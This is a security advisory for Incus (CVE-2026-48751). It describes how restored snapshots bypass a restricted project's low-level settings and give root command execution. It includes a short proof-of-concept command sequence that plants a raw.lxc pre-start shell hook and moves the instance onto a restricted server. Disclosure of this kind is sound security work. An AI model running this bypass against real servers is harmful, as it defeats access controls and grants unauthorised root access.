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GHSA-48q5-w887-33wv Incus has a restricted project bypass leading to arbitrary command execution

CRITICAL Published 2026-06-26 Modified 2026-06-26 Official page ↗
Aliases
CVE-2026-48751
Ecosystem
Go
Packages
github.com/lxc/incus/v7/cmd/incusd
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-862
Reviewed
2026-06-26

Affected packages

• Go github.com/lxc/incus/v7/cmd/incusd: < 7.2.0 → fixed in 7.2.0

Description

Summary Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. Details Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. PoC ``` remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 > allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ``` Impact • Bypass of project restrictions. • Arbitrary command execution on the Incus server.

Related

Alias · CVE (1)

  • CVE-2026-48751 Incus is a system container and virtual machine manager. vulnerability

Weakness · CWE (1)

  • CWE-862 Missing Authorization weakness

References